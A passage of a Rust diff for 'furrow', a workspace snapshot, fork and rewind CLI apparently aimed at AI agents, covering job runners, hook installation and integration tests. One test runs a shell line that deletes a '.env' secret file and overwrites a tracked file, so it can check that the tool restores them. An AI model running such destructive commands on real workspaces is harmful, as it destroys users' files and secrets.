println!("{}", serde_json::to_string_pretty(&exec_plan)?); + } else { + print_exec_plan(&exec_plan); + } + return Ok(()); + } + + if !json { + print_exec_plan(&exec_plan); + io::stdout().flush()?; + } + let started = std::time::Instant::now(); + let mut summaries = Vec::with_capacity(count); + for fork_plan in fork_plans { + summaries.push(repository.materialize_fork(fork_plan)?); + } + let materialized_ms = u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX); + if !json { + println!("Materialized {count} universe(s) in {materialized_ms} ms"); + io::stdout().flush()?; + } + + let executable = std::env::current_exe().context("resolve furrow executable")?; + let mut children = Vec::with_capacity(count); + for (universe, summary) in exec_plan.universes.iter().zip(&summaries) { + let mut child = UniverseCommand { + driver: exec_plan.driver.driver, + executable: &executable, + source: &summary.destination, + canonical_target: &exec_plan.canonical_workdir, + command, + } + .command()?; + child + .env("FURROW_WORKDIR", &universe.process_workdir) + .env("FURROW_CANONICAL_WORKDIR", &exec_plan.canonical_workdir) + .env("FURROW_FORK_NAME", &summary.name) + .env("FURROW_FORK_BASE", &summary.base_snapshot) + .env("FURROW_UNIVERSE_INDEX", universe.index.to_string()) + .env("FURROW_UNIVERSE_COUNT", count.to_string()) + .env("PORT", universe.port.to_string()); + if json { + redirect_stdout_to_stderr(&mut child)?; + } + match child.spawn() { + Ok(child) => children.push(child), + Err(error) => { + for child in &mut children { + let _ = child.kill(); + } + for mut child in children { + let _ = child.wait(); + } + return Err(error).with_context(|| format!("start universe {}", universe.name)); + } + } + } + + let mut statuses = Vec::with_capacity(count); + for mut child in children { + statuses.push(child.wait().context("wait for universe command")?); + } + + let mut results = Vec::with_capacity(count); + for ((universe, summary), status) in exec_plan.universes.iter().zip(&summaries).zip(&statuses) { + let mut fork_repository = FurrowRepository::open(&summary.destination)?; + let outcome = status + .code() + .map_or_else(|| status.to_string(), |code| format!("exit {code}")); + let head = fork_repository.snapshot( + Some(format!("exec {} completed ({outcome})", universe.name)), + SnapshotTrigger::AgentRun, + )?; + results.push(serde_json::json!({ + "index": universe.index, + "fork": universe.name, + "fork_id": universe.fork_id, + "base_snapshot": summary.base_snapshot, + "head_snapshot": id_hex(&head), + "path": summary.destination, + "process_workdir": universe.process_workdir, + "port": universe.port, + "exit_code": furrow::universe::exit_code(*status), + })); + } + + if json { + println!( + "{}", + serde_json::to_string_pretty(&serde_json::json!({ + "driver": exec_plan.driver, + "materialized_ms": materialized_ms, + "universes": results, + }))? + ); + } else { + for result in &results { + println!( + "{} exit {} port {} {}", + result["fork"].as_str().unwrap_or("unknown"), + result["exit_code"], + result["port"], + result["path"].as_str().unwrap_or("unknown") + ); + } + println!("Source workspace was not modified"); + } + if let Some(status) = statuses.iter().find(|status| !status.success()) { + exit_with_status(*status); + } + Ok(()) +} + +struct WorkArgs<'a> { + json: bool, + remote: &'a std::path::Path, + name: Option<&'a str>, + key: &'a str, + input_ref: &'a str, + result_ref: &'a str, + keep: bool, + command: &'a [OsString], +} + +/// Execute a headless job: pull the input ref, fork at its snapshot, run the +/// command in an isolated universe, then seal and publish the result under the +/// result ref. The working directory holding both the throwaway bootstrap +/// workspace and the job fork is removed unless `--keep`, and the process exit +/// code mirrors the command. +fn run_work(args: WorkArgs<'_>) -> anyhow::Result<()> { + anyhow::ensure!( + !args.command.is_empty(), + "`furrow work` requires a command after --" + ); + + let unique = format!( + "{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_nanos() + ); + let work_dir = std::env::temp_dir().join(format!("furrow-work-{unique}")); + anyhow::ensure!( + !work_dir.exists(), + "work directory already exists: {}", + work_dir.display() + ); + fs::create_dir_all(&work_dir)?; + + match work_core(&args, &work_dir, &unique) { + Ok((status, fork_destination)) => { + if args.keep { + // The fork is the durable artifact; the bootstrap workspace was + // only a pull target and can go regardless. + let _ = fs::remove_dir_all(work_dir.join("base")); + if !args.json { + println!("Kept fork {}", fork_destination.display()); + } + } else { + let _ = fs::remove_dir_all(&work_dir); + } + if !status.success() { + exit_with_status(status); + } + Ok(()) + } + Err(error) => { + let _ = fs::remove_dir_all(&work_dir); + Err(error) + } + } +} + +fn work_core( + args: &WorkArgs<'_>, + work_dir: &std::path::Path, + unique: &str, +) -> anyhow::Result<(std::process::ExitStatus, PathBuf)> { + use furrow::universe::{ExecutionDriver, UniverseCommand}; + + let namespace = match args.name { + Some(name) => name.to_owned(), + None => { + let derived = args + .remote + .file_name() + .and_then(|name| name.to_str()) + .context("could not derive a workspace name from --remote; pass --name")?; + furrow::remote::validate_namespace(derived)?; + derived.to_owned() + } + }; + + // Bootstrap a throwaway workspace at the input snapshot, mirroring `clone`: + // git init, pair to the shared remote, then a bootstrap pull of the named + // input ref lands its objects and head into the local store. + let base_root = work_dir.join("base"); + fs::create_dir_all(&base_root)?; + let status = std::process::Command::new("git") + .arg("init") + .arg("--quiet") + .arg("--") + .arg(&base_root) + .status() + .context("start git for the work bootstrap workspace")?; + anyhow::ensure!(status.success(), "git init failed for the work workspace"); + + let (mut base_repository, _) = FurrowRepository::watch(&base_root)?; + base_repository + .pair(args.remote, &namespace, Some(args.key)) + .context("pair the work machine with the shared remote")?; + let pull = base_repository + .sync_pull(true, Some(args.input_ref)) + .with_context(|| format!("pull input ref '{}' from the remote", args.input_ref))?; + let input_snapshot = base_repository.resolve_snapshot(&pull.remote_snapshot)?; + + // Materialize an isolated fork at the input snapshot, reusing the + // `fork --at` machinery so the job never observes the bootstrap workspace. + let fork_name = format!("work-{unique}"); + let fork_destination = work_dir.join("fork"); + let plan = base_repository.prepare_fork_at(&fork_name, &fork_destination, &input_snapshot)?; + let summary = base_repository.materialize_fork(plan)?; + + // Run the command through the existing universe execution driver, streaming + // stdout/stderr straight through by inheriting them. + let driver = furrow::universe::select_driver(); + let canonical_workdir = base_repository.root().to_path_buf(); + let process_workdir = match driver.driver { + ExecutionDriver::LinuxMountNamespace => canonical_workdir.clone(), + ExecutionDriver::SiblingDirectory => summary.destination.clone(), + }; + let executable = std::env::current_exe().context("resolve furrow executable")?; + let mut child = UniverseCommand { + driver: driver.driver, + executable: &executable, + source: &summary.destination, + canonical_target: &canonical_workdir, + command: args.command, + } + .command()?; + child + .env("FURROW_WORKDIR", &process_workdir) + .env("FURROW_CANONICAL_WORKDIR", &canonical_workdir) + .env("FURROW_FORK_NAME", &summary.name) + .env("FURROW_FORK_BASE", &summary.base_snapshot); + let status = child + .status() + .with_context(|| format!("run {:?} in the job fork", args.command[0]))?; + + // Seal the resulting state, recording the input snapshot as the merge base + // so a downstream `merge --snapshot` derives it, then publish to the result + // ref regardless of the command's exit status. + let mut fork_repository = FurrowRepository::open(&summary.destination)?; + let outcome = status + .code() + .map_or_else(|| status.to_string(), |code| format!("exit {code}")); + let result_snapshot = fork_repository.snapshot_recording_base( + Some(format!("furrow work result ({outcome})")), + SnapshotTrigger::AgentRun, + &input_snapshot, + )?; + let report = base_repository + .push_snapshot_to_ref(&result_snapshot, args.result_ref) + .with_context(|| format!("publish result to ref '{}'", args.result_ref))?; + + if args.json { + println!( + "{}", + serde_json::json!({ + "namespace": namespace, + "input_ref": args.input_ref, + "result_ref": args.result_ref, + "input_snapshot": id_hex(&input_snapshot), + "result_snapshot": id_hex(&result_snapshot), + "base_snapshot": summary.base_snapshot, + "uploaded_objects": report.uploaded_objects, + "uploaded_bytes": report.uploaded_bytes, + "exit_code": furrow::universe::exit_code(status), + "fork": summary.destination, + "kept": args.keep, + }) + ); + } else { + println!( + "Input {} @ {}", + args.input_ref, + &id_hex(&input_snapshot)[..12] + ); + println!( + "Result {} @ {}", + args.result_ref, + &id_hex(&result_snapshot)[..12] + ); + println!( + "{} objects uploaded ({} bytes); {} reused", + report.uploaded_objects, report.uploaded_bytes, report.reused_objects + ); + println!("Command exit {}", furrow::universe::exit_code(status)); + } + + Ok((status, summary.destination)) +} + +fn print_exec_plan(plan: &furrow::universe::ExecPlan) { + println!( + "Driver {} | same canonical path: {}", + plan.driver.driver, + if plan.driver.same_canonical_path { + "yes" + } else { + "no" + } + ); + println!("Reason: {}", plan.driver.reason); + for universe in &plan.universes { + println!( + " {:>2} {:<28} port {:>5} {}", + universe.index, + universe.name, + universe.port, + universe.process_workdir.display() + ); + } +} + +fn write_ndjson(value: &impl serde::Serialize) -> anyhow::Result<()> { + let stdout = io::stdout(); + let mut output = stdout.lock(); + if let Err(error) = serde_json::to_writer(&mut output, value) + .and_then(|()| writeln!(output).map_err(serde_json::Error::io)) + { + if error.io_error_kind() == Some(io::ErrorKind::BrokenPipe) { + return Ok(()); + } + return Err(error.into()); + } + output.flush()?; + Ok(()) +} + +fn redirect_stdout_to_stderr(command: &mut std::process::Command) -> anyhow::Result<()> { + use std::os::fd::FromRawFd; + + let descriptor = unsafe { libc::dup(libc::STDERR_FILENO) }; + if descriptor < 0 { + return Err(std::io::Error::last_os_error()).context("duplicate stderr"); + } + let stderr = unsafe { std::fs::File::from_raw_fd(descriptor) }; + command.stdout(std::process::Stdio::from(stderr)); + Ok(()) +} + +fn default_fork_destination(repository: &FurrowRepository, name: &str) -> PathBuf { + let root = repository.root(); + let parent = root.parent().unwrap_or_else(|| std::path::Path::new(".")); + let repository_name = root + .file_name() + .unwrap_or_else(|| std::ffi::OsStr::new("workspace")); + let mut forks_name = repository_name.to_os_string(); + forks_name.push(".furrow-forks"); + parent.join(forks_name).join(name) +} + +fn default_sync_name(repository: &FurrowRepository) -> String { + repository + .root() + .file_name() + .and_then(|name| name.to_str()) + .filter(|name| !name.is_empty()) + .unwrap_or("workspace") + .to_owned() +} + +fn print_plan(plan: &furrow::RewindPlan) { + println!("Rewind to {}", &plan.target[..12]); + for change in &plan.changes { + println!(" {:<8} {}", change.action, change.path); + } +} + +fn print_fork_plan(plan: &furrow::ForkPlan) { + println!( + "Fork plan: {} files, {} directories, {} logical", + plan.files, + plan.directories, + human_bytes(plan.logical_bytes) + ); + println!( + "Native CoW target: about {} ms; streaming fallback: about {} ms and up to {} copied", + plan.projected_native_cow_ms, + plan.projected_streaming_copy_ms, + human_bytes(plan.worst_case_copied_bytes) + ); + if plan.at_snapshot { + println!( + "Materializing from stored snapshot {}", + &plan.base_snapshot[..12] + ); + } +} + +fn print_shrink_plan(plan: &furrow::shrink::ShrinkPlan) { + if plan.candidates.is_empty() { + println!("No recognized dependency or build caches found"); + return; + } + for candidate in &plan.candidates { + println!( + " {:>9} {:<24} {}", + human_bytes(candidate.physical_bytes), + candidate.class, + candidate.path + ); + } + println!( + "{} paths, {} entries, {} physical ({} logical)", + plan.candidates.len(), + plan.total_entries, + human_bytes(plan.total_physical_bytes), + human_bytes(plan.total_logical_bytes) + ); +} + +fn human_bytes(bytes: u64) -> String { + const UNITS: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"]; + let mut value = bytes as f64; + let mut unit = 0; + while value >= 1024.0 && unit + 1 < UNITS.len() { + value /= 1024.0; + unit += 1; + } + if unit == 0 { + format!("{bytes} {}", UNITS[unit]) + } else { + format!("{value:.1} {}", UNITS[unit]) + } +} + +fn parse_byte_size(value: &str) -> anyhow::Result { + let value = value.trim(); + let split = value + .find(|character: char| !character.is_ascii_digit()) + .unwrap_or(value.len()); + anyhow::ensure!(split > 0, "byte size must start with an integer"); + let number: u64 = value[..split].parse()?; + let suffix = value[split..].trim().to_ascii_lowercase(); + let multiplier = match suffix.as_str() { + "" | "b" => 1, + "k" | "kb" | "kib" => 1024_u64, + "m" | "mb" | "mib" => 1024_u64.pow(2), + "g" | "gb" | "gib" => 1024_u64.pow(3), + "t" | "tb" | "tib" => 1024_u64.pow(4), + _ => anyhow::bail!("unsupported byte-size suffix `{suffix}`"), + }; + number + .checked_mul(multiplier) + .context("byte size exceeds the supported range") +} + +fn install_hook_adapters(root: &std::path::Path) -> anyhow::Result> { + let root = root.canonicalize()?; + let directory = root.join(".furrow/hooks"); + fs::create_dir_all(&directory)?; + let mut installed = Vec::new(); + for event in ["pre-turn", "post-tool", "turn-end"] { + let destination = directory.join(event); + let script = format!( + "#!/bin/sh\nset -eu\nrepo=$(CDPATH= cd \"$(dirname \"$0\")/../..\" && pwd)\nexec \"${{FURROW_BIN:-furrow}}\" --repo \"$repo\" hook {event} \"$@\"\n" + ); + let mut temporary = tempfile::NamedTempFile::new_in(&directory)?; + temporary.write_all(script.as_bytes())?; + temporary.as_file().sync_all()?; + fs::set_permissions(temporary.path(), fs::Permissions::from_mode(0o755))?; + temporary + .persist(&destination) + .map_err(|error| error.error)?; + installed.push(destination); + } + std::fs::File::open(&directory)?.sync_all()?; + Ok(installed) +} + +fn serve(socket: PathBuf, idle_minutes: u64) -> anyhow::Result<()> { + let config = furrow_daemon::Config { + socket, + idle: std::time::Duration::from_secs(idle_minutes.saturating_mul(60)), + }; + // Another daemon already serves this socket: that is the goal met. + let Some(server) = furrow_daemon::Server::bind(config)? else { + return Ok(()); + }; + furrow_daemon::signals::install(); + server.run() +} + +fn run_hook( + root: &std::path::Path, + json: bool, + event: &str, + agent: Option, + turn: Option, + tool: Option, + seal: SealArgs, +) -> anyhow::Result<()> { + let agent = hook_value(agent, "FURROW_AGENT_ID")?.unwrap_or_else(|| "agent".to_owned()); + let turn = hook_value(turn, "FURROW_TURN_ID")?; + let tool = hook_value(tool, "FURROW_TOOL_NAME")?; + let label = furrow_daemon::hook_label(event, &agent, turn.as_deref(), tool.as_deref()); + let (_, snapshot) = FurrowRepository::attach_and_seal( + root, + Some(label.clone()), + SnapshotTrigger::AgentRun, + seal.options()?, + )?; + if json { + println!( + "{}", + serde_json::json!({"event": event, "label": label, "snapshot": id_hex(&snapshot)}) + ); + } else { + println!("Sealed {} {}", &id_hex(&snapshot)[..12], label); + } + Ok(()) +} + +fn hook_value(explicit: Option, environment: &str) -> anyhow::Result> { + let value = explicit.or_else(|| { + std::env::var_os(environment).map(|value| value.to_string_lossy().into_owned()) + }); + if let Some(value) = &value { + anyhow::ensure!(!value.is_empty(), "hook metadata cannot be empty"); + anyhow::ensure!(value.len() <= 128, "hook metadata is limited to 128 bytes"); + anyhow::ensure!( + !value.chars().any(char::is_control), + "hook metadata cannot contain control characters" + ); + } + Ok(value) +} + +fn exit_with_status(status: std::process::ExitStatus) -> ! { + use std::os::unix::process::ExitStatusExt; + + let code = status + .code() + .unwrap_or_else(|| 128 + status.signal().unwrap_or(1)); + std::process::exit(code) +} + +fn spawn_background_watcher(repository: &FurrowRepository, debounce_ms: u64) -> anyhow::Result<()> { + let daemon_dir = repository.workspace_data_dir(); + std::fs::create_dir_all(&daemon_dir)?; + let pid_path = daemon_dir.join("daemon.pid"); + if let Ok(pid) = std::fs::read_to_string(&pid_path) { + if let Ok(pid) = pid.trim().parse::() { + if unsafe { libc::kill(pid, 0) } == 0 { + println!("Watcher already running with PID {pid}"); + return Ok(()); + } + } + } + + let log_path = daemon_dir.join("daemon.log"); + let stdout = std::fs::OpenOptions::new() + .create(true) + .append(true) + .open(&log_path)?; + let stderr = stdout.try_clone()?; + let child = std::process::Command::new(std::env::current_exe()?) + .arg("--repo") + .arg(repository.root()) + .arg("__daemon") + .arg("--debounce-ms") + .arg(debounce_ms.to_string()) + .stdin(std::process::Stdio::null()) + .stdout(stdout) + .stderr(stderr) + .spawn()?; + std::fs::write(&pid_path, format!("{}\n", child.id()))?; + println!("Watcher started with PID {}", child.id()); + println!("Log {}", log_path.display()); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::{parse_byte_size, split_clone_url}; + + #[test] + fn parses_human_budget_sizes_without_ambiguous_fractions() { + assert_eq!(parse_byte_size("512MiB").unwrap(), 512 * 1024 * 1024); + assert_eq!(parse_byte_size("20 GiB").unwrap(), 20 * 1024 * 1024 * 1024); + assert_eq!(parse_byte_size("1000").unwrap(), 1000); + assert!(parse_byte_size("1.5GiB").is_err()); + assert!(parse_byte_size("lots").is_err()); + } + + #[test] + fn clone_urls_separate_transport_from_workspace_name() { + let (transport, namespace) = split_clone_url("s3://my-bucket/furrow/myproject").unwrap(); + assert_eq!(transport, "s3://my-bucket/furrow"); + assert_eq!(namespace, "myproject"); + assert!(split_clone_url("s3://my-bucket").is_err()); + assert!(split_clone_url("s3://my-bucket/furrow/../project").is_err()); + assert!(split_clone_url("https://example.com/project").is_err()); + assert_eq!( + split_clone_url("ssh://developer@laptop-a/myproject").unwrap(), + ( + "ssh://developer@laptop-a".to_owned(), + "myproject".to_owned() + ) + ); + } +} diff --git a/engine/furrow-cli/tests/cli.rs b/engine/furrow-cli/tests/cli.rs new file mode 100644 index 0000000000..a1047fcf89 --- /dev/null +++ b/engine/furrow-cli/tests/cli.rs @@ -0,0 +1,3845 @@ +use assert_cmd::Command; +use serde_json::Value; +use std::fs; +use std::io::{BufRead, BufReader, Write}; +use std::os::unix::fs::{symlink, MetadataExt, PermissionsExt}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::time::{Duration, Instant}; +use tempfile::TempDir; + +struct ChildGuard(std::process::Child); + +impl Drop for ChildGuard { + fn drop(&mut self) { + let _ = self.0.kill(); + let _ = self.0.wait(); + } +} + +struct Fixture { + _temp: TempDir, + repo: PathBuf, + data: PathBuf, +} + +impl Fixture { + fn new() -> Self { + let temp = tempfile::tempdir().unwrap(); + let repo = temp.path().join("repo"); + let data = temp.path().join("data"); + fs::create_dir_all(&repo).unwrap(); + git(&repo, &["init", "-b", "main"]); + git(&repo, &["config", "user.email", "demo@example.com"]); + git(&repo, &["config", "user.name", "Demo"]); + fs::write(repo.join("app.txt"), b"tracked original\n").unwrap(); + fs::write(repo.join(".gitignore"), b".env\ncache/\n").unwrap(); + git(&repo, &["add", "app.txt", ".gitignore"]); + git(&repo, &["commit", "-m", "initial"]); + fs::write(repo.join(".env"), b"TOKEN=original\n").unwrap(); + fs::create_dir(repo.join("cache")).unwrap(); + fs::write(repo.join("cache/dependency.bin"), vec![7_u8; 180_000]).unwrap(); + fs::write(repo.join("notes.txt"), b"untracked notes\n").unwrap(); + symlink("app.txt", repo.join("app-link")).unwrap(); + let mut permissions = fs::metadata(repo.join("app.txt")).unwrap().permissions(); + permissions.set_mode(0o755); + fs::set_permissions(repo.join("app.txt"), permissions).unwrap(); + xattr::set(repo.join("app.txt"), "user.furrow-test", b"preserved").unwrap(); + Self { + _temp: temp, + repo, + data, + } + } + + fn furrow(&self) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", &self.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&self.repo); + command + } + + fn watch(&self) -> String { + let output = self + .furrow() + .args(["--json", "watch"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let value: Value = serde_json::from_slice(&output).unwrap(); + value["snapshot"].as_str().unwrap().to_owned() + } +} + +fn furrow_at(repo: &Path, data: &Path) -> Command { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(repo); + command +} + +fn collect_files(root: &Path, files: &mut Vec) { + for entry in fs::read_dir(root).unwrap() { + let entry = entry.unwrap(); + if entry.file_type().unwrap().is_dir() { + collect_files(&entry.path(), files); + } else { + files.push(entry.path()); + } + } +} + +fn tree_physical_bytes(root: &Path) -> u64 { + let mut files = Vec::new(); + collect_files(root, &mut files); + files + .into_iter() + .map(|path| fs::metadata(path).unwrap().len()) + .sum() +} + +fn wait_until(description: &str, timeout: Duration, mut predicate: impl FnMut() -> bool) { + let deadline = Instant::now() + timeout; + while Instant::now() < deadline { + if predicate() { + return; + } + std::thread::sleep(Duration::from_millis(25)); + } + panic!("timed out waiting for {description}"); +} + +fn follow_process(repo: &Path, data: &Path) -> ChildGuard { + let child = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(repo) + .args(["sync", "--follow", "--poll-seconds", "1"]) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .spawn() + .unwrap(); + ChildGuard(child) +} + +/// Spawn `furrow watch --foreground` and return once the daemon has actually +/// installed its filesystem watch, not merely written the workspace pointer. +/// The watcher prints its readiness line only after `Watcher::watch` succeeds, +/// so keying off it removes the race between a fixed startup sleep and a slow +/// initial ingest. The reader thread also keeps draining stderr so the child +/// never blocks writing later "sealed ..." lines. +fn spawn_foreground_watcher(fixture: &Fixture, debounce_ms: &str) -> std::process::Child { + let mut child = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .arg("--repo") + .arg(&fixture.repo) + .args(["watch", "--foreground", "--debounce-ms", debounce_ms]) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::piped()) + .spawn() + .unwrap(); + let stderr = child.stderr.take().unwrap(); + let ready = Arc::new(AtomicBool::new(false)); + let ready_writer = Arc::clone(&ready); + std::thread::spawn(move || { + for line in BufReader::new(stderr).lines().map_while(Result::ok) { + if line.contains("continuously protecting") { + ready_writer.store(true, Ordering::Release); + } + } + }); + wait_until( + "foreground watcher to install its filesystem watch", + Duration::from_secs(10), + || ready.load(Ordering::Acquire), + ); + // Give the native FSEvents stream a moment to warm up before creating the + // events the test expects to be sealed. + std::thread::sleep(Duration::from_millis(500)); + child +} + +fn ndjson(bytes: &[u8]) -> Vec { + std::str::from_utf8(bytes) + .unwrap() + .lines() + .filter(|line| !line.is_empty()) + .map(|line| serde_json::from_str(line).unwrap()) + .collect() +} + +#[test] +fn path_rewind_restores_ignored_secret_without_touching_new_work() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + fs::write(fixture.repo.join(".env"), b"TOKEN=destroyed\n").unwrap(); + fs::write(fixture.repo.join("later.txt"), b"keep this\n").unwrap(); + + let preview = fixture + .furrow() + .args(["rewind", &snapshot, "--paths", ".env", "--dry-run"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let value: Value = serde_json::from_slice(&preview).unwrap(); + assert_eq!(value["changes"].as_array().unwrap().len(), 1); + assert_eq!(value["changes"][0]["path"], ".env"); + assert_eq!( + fs::read(fixture.repo.join(".env")).unwrap(), + b"TOKEN=destroyed\n" + ); + + fixture + .furrow() + .args(["rewind", &snapshot, "--paths", ".env", "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join(".env")).unwrap(), + b"TOKEN=original\n" + ); + assert_eq!( + fs::read(fixture.repo.join("later.txt")).unwrap(), + b"keep this\n" + ); +} + +#[test] +fn status_fidelity_reports_exact_and_known_partial_capture_contracts() { + let fixture = Fixture::new(); + fixture.watch(); + let output = fixture + .furrow() + .args(["--json", "status", "--fidelity"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let output: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(output["fidelity"]["grade"], "partial"); + assert!(output["status"]["head"].as_str().unwrap().len() == 64); + let aspects = output["fidelity"]["aspects"].as_array().unwrap(); + assert!(aspects.iter().any(|aspect| { + aspect["aspect"] == "regular_file_bytes" && aspect["fidelity"] == "exact" + })); + assert!(aspects.iter().any(|aspect| { + aspect["aspect"] == "hard_link_groups" && aspect["fidelity"] == "not_preserved_by_rewind" + })); + assert!(aspects.iter().any(|aspect| { + aspect["aspect"] == "sparse_holes" && aspect["fidelity"] == "not_preserved" + })); +} + +#[test] +fn policy_excluded_subtrees_survive_rewind_and_can_later_be_included() { + let fixture = Fixture::new(); + fs::write(fixture.repo.join(".furrowpolicy"), b"exclude cache\n").unwrap(); + let excluded_snapshot = fixture.watch(); + + fs::write( + fixture.repo.join("cache/dependency.bin"), + b"new excluded cache state\n", + ) + .unwrap(); + fs::write(fixture.repo.join("app.txt"), b"damaged app\n").unwrap(); + fs::remove_file(fixture.repo.join(".furrowpolicy")).unwrap(); + fixture + .furrow() + .args(["rewind", &excluded_snapshot, "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join("cache/dependency.bin")).unwrap(), + b"new excluded cache state\n" + ); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"tracked original\n" + ); + assert_eq!( + fs::read(fixture.repo.join(".furrowpolicy")).unwrap(), + b"exclude cache\n" + ); + let fidelity = fixture + .furrow() + .args(["--json", "status", "--fidelity"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let fidelity: Value = serde_json::from_slice(&fidelity).unwrap(); + assert_eq!(fidelity["fidelity"]["excluded_subtrees"][0], "cache"); + + fs::write( + fixture.repo.join(".furrowpolicy"), + b"# cache is protected again\n", + ) + .unwrap(); + let included = fixture + .furrow() + .args(["--json", "snap", "-m", "include cache"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let included: Value = serde_json::from_slice(&included).unwrap(); + let included = included["snapshot"].as_str().unwrap(); + fs::write( + fixture.repo.join("cache/dependency.bin"), + b"later cache damage\n", + ) + .unwrap(); + fixture + .furrow() + .args(["rewind", included, "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join("cache/dependency.bin")).unwrap(), + b"new excluded cache state\n" + ); +} + +#[test] +fn estimate_is_read_only_policy_aware_and_accounts_for_existing_cas_chunks() { + let fixture = Fixture::new(); + fs::write(fixture.repo.join(".furrowpolicy"), b"exclude cache\n").unwrap(); + let before = fixture + .furrow() + .args(["--json", "estimate"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let before: Value = serde_json::from_slice(&before).unwrap(); + assert_eq!(before["policy_rules"], 1); + assert_eq!(before["excluded_subtrees"], 1); + assert!(before["projected_new_chunk_bytes"].as_u64().unwrap() > 0); + assert_eq!(before["deduplicated_chunk_bytes"], 0); + assert!(!fixture.repo.join(".furrow").exists()); + + fixture.watch(); + let after = fixture + .furrow() + .args(["--json", "estimate"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let after: Value = serde_json::from_slice(&after).unwrap(); + assert!(after["deduplicated_chunk_bytes"].as_u64().unwrap() > 0); + assert!( + after["projected_new_chunk_bytes"].as_u64().unwrap() + < before["projected_new_chunk_bytes"].as_u64().unwrap() + ); +} + +#[test] +fn installed_turn_hooks_seal_attributed_boundaries_from_any_working_directory() { + let fixture = Fixture::new(); + let installed = fixture + .furrow() + .args(["--json", "hook", "install"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let installed: Value = serde_json::from_slice(&installed).unwrap(); + assert_eq!(installed["hooks"].as_array().unwrap().len(), 3); + let pre_turn = fixture.repo.join(".furrow/hooks/pre-turn"); + assert!(fs::metadata(&pre_turn).unwrap().permissions().mode() & 0o111 != 0); + + let outside = fixture._temp.path().join("outside"); + fs::create_dir(&outside).unwrap(); + let output = std::process::Command::new(&pre_turn) + .current_dir(&outside) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_BIN", env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_AGENT_ID", "alpha") + .env("FURROW_TURN_ID", "7") + .output() + .unwrap(); + assert!( + output.status.success(), + "{}", + String::from_utf8_lossy(&output.stderr) + ); + fixture + .furrow() + .args([ + "hook", + "post-tool", + "--agent", + "alpha", + "--turn", + "7", + "--tool", + "write", + ]) + .assert() + .success(); + + let timeline = fixture + .furrow() + .args(["--json", "timeline", "--limit", "5"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + assert_eq!( + timeline[0]["label"], + "hook post-tool agent=alpha turn=7 tool=write" + ); + assert_eq!(timeline[0]["trigger"], "agent_run"); + assert!(timeline.as_array().unwrap().iter().any(|snapshot| { + snapshot["label"] == "hook pre-turn agent=alpha turn=7" + && snapshot["trigger"] == "agent_run" + })); +} + +#[test] +fn try_auto_protects_an_unwatched_workspace_and_preserves_the_command_exit_code() { + let fixture = Fixture::new(); + let output = fixture + .furrow() + .args([ + "try", + "-m", + "risky migration", + "--", + "/bin/sh", + "-c", + "rm -f .env; printf 'damaged\\n' > app.txt; exit 17", + ]) + .assert() + .code(17) + .get_output() + .clone(); + let stderr = String::from_utf8(output.stderr).unwrap(); + let before = stderr + .lines() + .find_map(|line| line.strip_prefix("Protected ")) + .expect("pre-command snapshot was reported"); + assert_eq!(before.len(), 64); + assert!(stderr.contains(&format!("Undo with: furrow rewind {before}"))); + assert!(!fixture.repo.join(".env").exists()); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"damaged\n" + ); + + fixture + .furrow() + .args(["rewind", before, "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join(".env")).unwrap(), + b"TOKEN=original\n" + ); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"tracked original\n" + ); + + let timeline = fixture + .furrow() + .args(["--json", "timeline", "--limit", "4"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + let timeline = timeline.as_array().unwrap(); + assert!(timeline.iter().any(|snapshot| { + snapshot["label"] == "before try: risky migration" && snapshot["trigger"] == "initial" + })); + assert!(timeline.iter().any(|snapshot| { + snapshot["label"] == "after try (exit 17): risky migration" + && snapshot["trigger"] == "agent_run" + })); +} + +#[test] +fn shrink_previews_without_mutation_then_deletes_and_restores_dependency_caches() { + let fixture = Fixture::new(); + let dependency = fixture.repo.join("node_modules/pkg/archive.bin"); + fs::create_dir_all(dependency.parent().unwrap()).unwrap(); + fs::write(&dependency, vec![0x5a; 512 * 1024]).unwrap(); + + let preview = fixture + .furrow() + .args(["--json", "shrink"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let preview: Value = serde_json::from_slice(&preview).unwrap(); + assert_eq!(preview["candidates"].as_array().unwrap().len(), 1); + 